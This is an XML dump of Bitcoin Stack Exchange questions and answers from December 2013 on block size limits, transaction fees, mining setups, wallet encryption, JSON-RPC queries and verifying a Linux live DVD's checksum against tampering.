  <row Id="18796" PostTypeId="1" AcceptedAnswerId="18951" CreationDate="2013-12-15T19:21:19.903" Score="6" ViewCount="265" Body="&lt;p&gt;Actually the &lt;strong&gt;default maximum block size&lt;/strong&gt; is 300,000 Bytes and the &lt;strong&gt;protocol hard limit&lt;/strong&gt; is 1MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I understood is that all blocks over 1MB will be rejected but the ones between 300,000 Bytes and 1MB will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there are lot of transactions with little fees that make that a miner can create let's say a 700,000 Bytes bloc. Will it be profitable for the miner to create such a block or is there a additional risk that his block will be rejected?&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="2306" LastEditDate="2016-03-09T23:15:24.533" LastActivityDate="2016-03-09T23:15:24.533" Title="Is there a reason why miners should respect the default maximum block size?" Tags="|block|blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18798" PostTypeId="1" CreationDate="2013-12-15T19:47:03.160" Score="2" ViewCount="194" Body="&lt;p&gt;Quite often there are threads on various forums and complains on IRC channels that this or that exchange is not &quot;playing nice&quot; and has withdrawals (to a fiat currency like USD) taking a very long time. Very often invariably the excuse is that there has been a problem and that &lt;em&gt;&quot;employees are processing the backlogs&quot;&lt;/em&gt; or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about transferring bitcoins from the same exchange to your own bitcoin wallet? Is it something that also takes weeks and where the same excuses about backlogs are used? Or are the bitcoin transfer from exchanges to the wallet of your choice something that happens quite fast?&lt;/p&gt;&#xA;" OwnerUserId="10785" LastEditorUserId="5406" LastEditDate="2014-02-14T10:58:00.107" LastActivityDate="2014-09-12T19:07:23.237" Title="Is it faster to retrieve bitcoins from exchanges than fiat?" Tags="|exchanges|withdrawal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18799" PostTypeId="2" ParentId="18798" CreationDate="2013-12-15T19:55:14.760" Score="0" Body="&lt;p&gt;Yea, removing fiat from many exchanges is quickly becoming a pain. Higher fees, longer waits, and more regulation. I recommend moving coins in and out of accounts. If you want to trade between fiat and bitcoin, I recommend using &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; and exchanging with cash. Less paper trail, no waiting, and fewer scams.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-15T19:55:14.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18800" PostTypeId="2" ParentId="18794" CreationDate="2013-12-15T19:57:03.377" Score="0" Body="&lt;p&gt;You may want to try out a calculator first. It is usually easiest to calculate your mining rate by comparing your hashing rate with the current difficulty rate, and then just remove the 1% fee from the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-15T19:57:03.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18801" PostTypeId="1" CreationDate="2013-12-15T20:01:02.223" Score="3" ViewCount="744" Body="&lt;p&gt;The  &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0021&quot; rel=&quot;nofollow&quot;&gt;Bitcoin URI scheme&lt;/a&gt; doesn't appear to provide any mechanism for setting a transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get clients to include a transaction fee in a standard payment via a Bitcoin URI?&lt;/p&gt;&#xA;" OwnerUserId="10876" LastEditorUserId="10876" LastEditDate="2013-12-15T20:08:01.927" LastActivityDate="2017-07-04T22:46:08.280" Title="Bitcoin URLs: how to set a transaction fee?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18802" PostTypeId="2" ParentId="18773" CreationDate="2013-12-15T20:04:28.403" Score="2" Body="&lt;p&gt;Nope, you're good to go. You don't even have to connect them all through PCI-e. With &lt;em&gt;cgminer&lt;/em&gt;, you can set the settings uniquely for each card. You can use any kind of adapter that would normally bottleneck GPU performance. &lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-15T20:04:28.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18803" PostTypeId="2" ParentId="18792" CreationDate="2013-12-15T20:30:36.560" Score="4" Body="&lt;p&gt;The fact that you need to pay a transaction or not is determined by the priority of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the priority of a transaction is calculated with this formula.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;priority = sum(input_value_in_base_units * input_age)/size_in_bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The minimum transaction priority for free transactions is actually 57,600,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Because you have all the coins in the same transaction output&lt;/strike&gt; and I guess you will send them to one unique address the transaction size will be about 250 bytes. You have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;min_free_input_age = (min_priority_for_free_tx * size_in_bytes)/input_value_in_base_units&#xA;min_free_input_age = (57600000 * 250) / 38000000&#xA;min_free_input_age = ~378&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you have to wait 378 blocks (~3 days) before you can spend your coins without TX fee.&#xA;But note that once sent it will probably take 2 or 3 days more before the transaction will be added in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me if there is a calculation error.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-05-21T19:13:56.207" LastActivityDate="2014-05-21T19:13:56.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18807" PostTypeId="2" ParentId="17511" CreationDate="2013-12-15T20:55:46.637" Score="1" Body="&lt;p&gt;OK, I have this set up now. BFGMiner is running the USB ASIC for Peercoin and cgminer is running the GPU for Litecoin. I also have cudaminer running my second GPU for Litecoin, which was necessary as cgminer didn't like running two different GPUs at once. All works nicely together now.&lt;/p&gt;&#xA;" OwnerUserId="9487" LastActivityDate="2013-12-15T20:55:46.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18808" PostTypeId="1" AcceptedAnswerId="18813" CreationDate="2013-12-15T20:56:53.557" Score="0" ViewCount="517" Body="&lt;p&gt;Blockchain.info provides this functionality in a simple API like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/rawtx/fc15f762e8dbbdd407534047ef2a9211ca0e79c3625d5fe73cdacade4f9118d6&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/rawtx/fc15f762e8dbbdd407534047ef2a9211ca0e79c3625d5fe73cdacade4f9118d6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would prefer to make this query directly against the network blockchain rather than to a third party like blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="5312" LastActivityDate="2013-12-15T22:35:11.040" Title="Is there any way to directly query the block chain for the body of a transaction given its hash?" Tags="|transactions|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18809" PostTypeId="1" CreationDate="2013-12-15T21:26:11.973" Score="-1" ViewCount="342" Body="&lt;p&gt;I have $50,000.00 I am able to use to get started mining. I have NO idea what I am doing! Where can I look to have someone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="10880" LastEditorUserId="5406" LastEditDate="2016-04-02T09:13:25.927" LastActivityDate="2016-04-02T09:13:25.927" Title="Help getting started mining" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-02T09:13:56.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="18810" PostTypeId="2" ParentId="18801" CreationDate="2013-12-15T21:42:02.857" Score="2" Body="&lt;p&gt;Great question!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a non-authoritative answer based upon prior related experience of many years past. The Bitcoin URI-scheme is very reminiscent of the IETF HTTP and SIP URI protocol grammars. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the suggested Bitcoin BNF Grammar documented in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-21&lt;/a&gt;, it is possible that implemented pchar &quot;otherparam&quot; or &quot;reqparam&quot; names to be abused to suggest a transaction fee. The fee is digit, not a pchar. The URI could even be made to suggest specific pool(s) to expedite the processing of the transaction (relates to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18491/high-level-details-for-bundling-transactions-for-solo-mining-or-pooled-gbt-minin&quot;&gt;High level details for bundling transactions for solo mining or pooled GBT mining&lt;/a&gt;). I'm guessing the issue is the the meaning of the name-value pair for a transaction fee is left up to the whim of a developer which could lead to downstream turnkey Bitcoin component interoperability issues. So does it would make sense for the BIP-021 to be tweaked to add something like the following to its grammar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paytxfeeparam = &quot;paytxfee=&quot; *digit [ &quot;.&quot; *digit ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**The wallet application currently establishes the acceptable transaction fee. For now, Bitcoin-Qt &quot;bitcoin.conf&quot; &quot;paytxfee&quot; value is used to statically establish the transaction the client is willing to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand why current pool operators may not care about establishing a paytxfeeparam. However, a roaming customer may want to know what it takes to expedite an adhoc in-person brick and mortar transaction for a product or service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To support commerce, its not too hard to also envision a need for something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paysalestaxparam = &quot;paysalestax=&quot; *digit [ &quot;.&quot; *digit ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP-21 needs to be updated with a number of other real world use cases...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a Cybersecurity perspective, I would be very reluctant to click on a URI from that only God knows is from who that induces a very expensive transaction. I'm glad to BIP-21 talks about always requiring the user's authorization. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-15T21:42:02.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18811" PostTypeId="2" ParentId="17511" CreationDate="2013-12-15T21:53:02.490" Score="1" Body="&lt;p&gt;Assuming your computer has enough CPU, memory and network bandwidth and separate computer processes will be used for each form of mining, it should be nothing more than associating the right hardware devices with the right miner software. Be careful to not transpose things...&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-15T21:53:02.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18812" PostTypeId="1" CreationDate="2013-12-07T22:22:04.110" Score="9" ViewCount="3375" Body="&lt;p&gt;I will be explaining Bitcoin to a non-technical group and I am hoping somebody can provide me with a very basic visual analogy of the crypto-currency mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My half-baked idea, was to somehow describe the mining process as partaking in a complex word search. Hopefully getting my group to visualize a large pool table sized word search (block) and have them imagining searching for a 30 alphanumeric character identifier (wallet). Describing the blockchain as a city sized word-search on top of 21 million pool tables?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this a good analogy to use, or is there a better/more applicable one?&lt;/li&gt;&#xA;&lt;li&gt;Using (and adding to) the best analogy, how can I explain the difference in mining with CPU/GPU/ASIC and why the ASIC hardware is the quickest?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10385" OwnerDisplayName="user10385" LastActivityDate="2014-05-16T16:13:34.957" Title="What is a good analogy (which a layperson would understand) for the process of Bitcoin mining?" Tags="|hash|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18813" PostTypeId="2" ParentId="18808" CreationDate="2013-12-15T22:35:11.040" Score="1" Body="&lt;p&gt;You can use JSON-RPC to achieve this. The only missing information will be the &lt;strong&gt;relayed_by&lt;/strong&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the JSON-RPC API of your client edit your bitcoin.conf file like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=user &#xA;rpcpassword=password &#xA;rpcport=8332&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use a library to query the API like &lt;a href=&quot;http://jsonrpcphp.org&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC for PHP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do it on a much easier way by using the command line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getblock c15f762e8dbbdd407534047ef2a9211ca0e79c3625d5fe73cdacade4f9118d6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10621" LastActivityDate="2013-12-15T22:35:11.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18814" PostTypeId="1" CreationDate="2013-12-15T22:36:44.760" Score="0" ViewCount="105" Body="&lt;p&gt;I have a question, I have like 0.1 BTC on my wallet from FEB 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am 34 weeks behind sync with bitcoin-qt wallet, but the weird thing is its encrypted but I think that i never encrypted it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible it says its encrypted because its out of sync? or it is encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also if u set a bitcoin password can it be something like: hello123 (the reason for asking is because maybe I can figure it out) if its something hard I probably wont remember it (randoms chars, e.g symbols).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: thing also is that in the menu I cannot choose encryp wallet ..&lt;/p&gt;&#xA;" OwnerUserId="10885" LastEditorUserId="10885" LastEditDate="2013-12-15T22:48:27.943" LastActivityDate="2014-04-15T02:48:42.800" Title="Encrypted wallet which is syncronizing" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18815" PostTypeId="2" ParentId="18812" CreationDate="2013-12-15T23:03:45.793" Score="1" Body="&lt;p&gt;So I'm not entirely sure that this is what you're looking for, but your question specifically asked about the mining process, not exactly how to explain transactions or the blockchain...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, mining is kind of like blending food.  If you blend some food, you get a unique output, which is some sort of mush.  It is very easy to make this mush, however it is very hard to take the mush and recreate the food you started with.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a pound of carrots and a pound of celery, and blend them you will get a certain type of mush.  If you again take a pound of carrots and a pound of celery, you will get the same type of mush.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is like trying to find a certain type of mush (or output).  You need to blend a lot of different things and get different types of mush, and once your mush matches what you're looking for, you have been successful.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you know the ingredients needed to make the mush and can reproduce it easily.  This means that others can reproduce what you did and prove that you did, in fact, find the solution.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With bitcoin there are a lot of outputs which we are trying to find, and therefore we need to try an impressive amount of &quot;ingredients&quot; (input) to find all of the different solutions.  Once you find the ingredients for a solution, you have solved the problem and are rewarded with a certain amount of bitcoins.  &lt;/p&gt;&#xA;" OwnerUserId="10295" LastActivityDate="2013-12-15T23:03:45.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18818" PostTypeId="2" ParentId="18812" CreationDate="2013-12-15T23:36:05.603" Score="0" Body="&lt;p&gt;The value of Bitcoin is that of it being a trusted payment system network (analogous to Western Union, Visa, Master Card...) with adequate availability. Without pools and miners it would be difficult for Bitcoin to have scaled as much as it has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are fundamentally doing the brute force work of processing the Bitcoin transactions, by solving a mathematical hashing riddle required to make transactions officially part of the Bitcoin public ledger called the Blockchain. The pools coordinate the miners in to ensure they are not re-doing work other miners have already accomplished. Pools collect the transaction processing fees and the &quot;Finds&quot; of miners (that have solved the mathematical riddle for a block), and distributes the profits to is miners according to the effort they expended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is really unique is the Bitcoin transaction processing architecture is that the centralized transaction processing paradigm is no longer required. Pools and miners don't have to be co-located nor in the same &quot;cybersecurity domain&quot; requiring consistent security control postures to be applied to all system components.  Transaction processing is effectively outsourced by the pools to miners in a very competitive and fluid market. Miners hop if they don't like their bottom line mining with a particular pool.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;STM (Stratum) and GBT (Get Block Template) are the workhorse protocols miners and pools use to communicate to effectively complete the Bitcoin transactions. If STM is used, pools essentially push candidate transaction processing blocks down to thir miners. Miners use GBT if they want to be selective about what transactions they want incorporated into the Blockchain, provided they solve the riddle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the Dec. 2013 three page Federal Reserve paper titled &lt;a href=&quot;http://www.chicagofed.org/digital_assets/publications/chicago_fed_letter/2013/cfldecember2013_317.pdf.&quot; rel=&quot;nofollow&quot;&gt;Bitcoin: A primer&lt;/a&gt;. The intended audience is most definitely non-technical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your audience is technical, but not knowledgeable, point them to &lt;a href=&quot;http://www.youtube.com/watch?v=Lx9zgZCMqXE&amp;amp;feature=c4-overview&amp;amp;list=UUOGrxFj_j7PZRQM63OFCwmA&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=Lx9zgZCMqXE&amp;amp;feature=c4-overview&amp;amp;list=UUOGrxFj_j7PZRQM63OFCwmA&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-15T23:36:05.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18820" PostTypeId="2" ParentId="18814" CreationDate="2013-12-15T23:42:20.110" Score="1" Body="&lt;p&gt;If it says the wallet is encrypted, then it's encrypted. I can't imagine any way the wallet could be encrypted other than that you encrypted it. You can try as many passwords as quickly as you want, so maybe you'll remember it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-15T23:42:20.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18821" PostTypeId="2" ParentId="18809" CreationDate="2013-12-16T00:10:40.653" Score="1" Body="&lt;p&gt;Get your feet wet with a minimal financial investment first! Assuming you have a Mac and you plan to do the work yourself, and you can't understand this &lt;a href=&quot;https://forums.butterflylabs.com/showwiki.php?title=Tutorials%3aHOWTO%20Install%20and%20Run%20MacMiner-%20Version%200%209-alpha&quot; rel=&quot;nofollow&quot;&gt;Alpha HOWTO&lt;/a&gt; for a Mac Platform, you have problems and much of that high end processing hardware is likely to spoil like fresh vegetables from the grocery store staying on the shelf too long. The life-cycle of much of the ASIC hardware hitting the streets is only 6 to 18 months, with some ASIC hardware is still being sold that is a money loosing proposition.  Additionally, because of the &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Difficulty Factor&lt;/a&gt; compounding itself it is &quot;very critical&quot; to get that hardware functioning from day one!!! Your ROI spreadsheet calculations will need to identify the risk of any high end ASIC mining hardware being delivered late. None of the online &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin profit calculators&lt;/a&gt; provide a clear picture of what the risks of late deliveries really are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking for myself, and not on the behalf of anyone else (I'm not a financial adviser), I would invest not more than 2% of my wealth, and realize your investment results are very likely to be binary for the long term. Absolutely, don't bet your nest egg.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-16T00:10:40.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18826" PostTypeId="2" ParentId="16750" CreationDate="2013-12-16T03:26:24.160" Score="1" Body="&lt;p&gt;&lt;em&gt;(I can't comment on the other answers yet because I don't have 50 rep but it's totally wrong to believe that a MITM can't change what are on URLs protected by HTTPS you think you're seeing...  A MITM could be anywhere in the middle, including between your online computer and your browser, making you believe the website you see is the correct one and making you believe the HTTPS signature is legit. Such kind of attacks, made possible by rootkits, are precisely one of the reason people do use fully offline computers and Live CD/DVD to create cold storage wallets)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Linux the first thing is to d/l an &lt;em&gt;.iso&lt;/em&gt; that you're going to burn and then, &lt;em&gt;once burned&lt;/em&gt;, verify your &lt;em&gt;.iso&lt;/em&gt; by checking the entire DVD from an offline computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows &lt;em&gt;may&lt;/em&gt; look paranoid but it really isn't: it's just good security practices and only takes a few moments to do correctly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not just verify the SHA1 of your &lt;em&gt;.iso&lt;/em&gt; after you've downloaded it: it may be backdoored between the moment you've finished downloading it / checksuming it and during burning. Or the computer you're using to verify the SHA1 / burn it &lt;em&gt;may&lt;/em&gt; be compromised and hence giving you back fake values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you'd:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;find which file to download (e.g. ubuntu-13.10-desktop-amd64.iso )&lt;/li&gt;&#xA;&lt;li&gt;write down the exact filesize of the file (gonna be needed later on), in this case: 925 892 608 bytes&lt;/li&gt;&#xA;&lt;li&gt;burn your &lt;em&gt;.iso&lt;/em&gt; to a DVD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now do &lt;strong&gt;not&lt;/strong&gt; make the mistake of using the self-verification procedure of your DVD once you boot it up.  If it's backdoored, it's gonna tell you everything is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the official SHA1 sums for the &lt;em&gt;.iso&lt;/em&gt; file you've downloaded. These ones may be compromised too so you may want to call someone from your family or a friend on the phone and ask them to go to the URL containing the hashes or you may want to go to a public computer or a computer at work: anywhere not the same place you d/l'ed the DVD from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from an offline computer (but &lt;em&gt;not&lt;/em&gt; while booting from the DVD you just burned), do this to verify your DVD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/dev/sr0 head -c &quot;925892608&quot; | sha1sum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You cannot just &lt;em&gt;&quot;cat /dev/sr0 | sha1sum&quot;&lt;/em&gt; : won't work due to the last block which has a fixed-size on DVDs. You &lt;em&gt;must&lt;/em&gt; enter the exact number of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This takes some time (30 seconds or so, depending on your hardware).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the leading &quot;&amp;lt;&quot; in that command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that your SHA1 is matching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's matching, then it is very very highly probable that you have the official release. This is not a proof that the official release itself is not backdoored or that your CPU's &lt;em&gt;rdrand&lt;/em&gt; function is not hardware-backdoored, but it's a good start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's how I do it to verify my Linux Live DVD. Simply looking at the URL with the SHA1 hashes is &lt;strong&gt;not&lt;/strong&gt; enough. If you're facing a MITM then your DVD is gonna be backdoored and the SHA1 hashes are gonna be forged too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is why you use another channel to write down the SHA1: you either write it earlier/later in the day/week when you're at an entirely different place, using a different computer... Or you call someone far from your place and ask him to check the SHA1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to trust the .gpg keys of Ubuntu you may use these to verify the hashes but if you're facing a MITM the attacker may be feeding you fake .gpg keys too.&lt;/p&gt;&#xA;" OwnerUserId="10785" LastEditorUserId="10785" LastEditDate="2013-12-16T03:35:59.547" LastActivityDate="2013-12-16T03:35:59.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18828" PostTypeId="2" ParentId="18712" CreationDate="2013-12-16T03:53:53.403" Score="0" Body="&lt;p&gt;From what i've gathered, the comments on matching system RAM only apply when your using Reaper as mining software. The likes of cgminer runs quite happily with only 2GB in system and 4 x 7950 3GB cards.&lt;/p&gt;&#xA;" OwnerUserId="10896" LastActivityDate="2013-12-16T03:53:53.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18829" PostTypeId="1" CreationDate="2013-12-16T03:59:42.163" Score="1" ViewCount="561" Body="&lt;p&gt;I am brand new to bitcoin and I only know the very basics of it. I have a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As the title says I am looking in ebay to buy bitcoins and there are some sellers are selling 5 bitcoins at opening of auctions for only 1 USD is it a scam I mean at the current exchange rate from my understanding 1 coin alone is valued at 900 USD which is a total value of 4500 USD is this a scam or is this legit I only ask this since should I place a bet and win for only like 10 USD the seller must be mad to take a massive loss like that&lt;/li&gt;&#xA;&lt;li&gt;if it isn't a scam how does the seller deposit his coins into mine do I send him my wallet address &lt;/li&gt;&#xA;&lt;li&gt;if I have to send him my address can he hack my wallet using my address or worse send my address to other hackers &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry to seem like such a noob but I had just learned about bitcoin recently and like I said previously I don't know much about it basically any information I found from bitcoins's website summarizes m=the extent of my knowledge on bitcoins&lt;/p&gt;&#xA;" OwnerUserId="10897" LastEditorUserId="1891" LastEditDate="2013-12-16T07:34:30.767" LastActivityDate="2014-01-15T13:43:41.627" Title="buying bitcoins from ebay" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18831" PostTypeId="1" AcceptedAnswerId="19220" CreationDate="2013-12-16T04:17:39.687" Score="0" ViewCount="423" Body="&lt;p&gt;ive been trying to work out what the best way of obtaining the exchange rate of a bitcoin or any other digital currency is via online resources for a website I want to build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this question/answer here; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12364/displaying-price-in-btc-based-on-usd-exchange-rate&quot;&gt;Displaying price in BTC based on USD exchange rate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So sure thats easy but what about other coins against the dollar or against bitcoins.  Am I going to have to obtain all this info from different sources?   &lt;/p&gt;&#xA;" OwnerUserId="9737" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-12-22T16:54:14.163" Title="obtaining currency exchange rate values for different coins via apis" Tags="|litecoin|api|website-integration|quarkcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18832" PostTypeId="2" ParentId="18764" CreationDate="2013-12-16T04:37:10.830" Score="0" Body="&lt;p&gt;OK here is what worked. Needed to find a working CGminer version for my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer-3.6.6-windows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;command line&#xA;cgminer --scrypt -o http:// server_address -u user -p password --shaders 4000 --intensity 17 --worksize 128 -g 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be sending litecoin to Mark that helped. I hope this helps someone else with same issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Litecoin address LKQvQeknvu5i1EBjZwx5vd77YyjLcN1jSr&lt;/p&gt;&#xA;" OwnerUserId="10851" LastActivityDate="2013-12-16T04:37:10.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18833" PostTypeId="1" CreationDate="2013-12-16T04:42:04.160" Score="1" ViewCount="902" Body="&lt;p&gt;Once I've flipped a fair coin 256 times and have the random 256 bits integer that I'm going to use as my private key, how is the public key derived?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1786/given-a-private-key-how-do-you-get-a-public-address&quot;&gt;Given a private key, how do you get a public address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't find the answer to my question. I understand ECDSA curves are used but I don't understand which part is the public key and what's the relation between the (unique?) public key and the addresses which you give out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you convert the private key to a public key by performing a multiplication with the curve's base point, then it begs the question: what is the curve's base point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the curve's base point part of the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would mean that what is called the &quot;private key&quot; isn't really just a &quot;private key&quot; but more of a keypair from which you can, at any time, derive the public key?&lt;/p&gt;&#xA;" OwnerUserId="10785" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2018-03-15T07:10:35.617" Title="How do you derive the public key from you random 256-bits integer?" Tags="|private-key|public-key|address-generation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
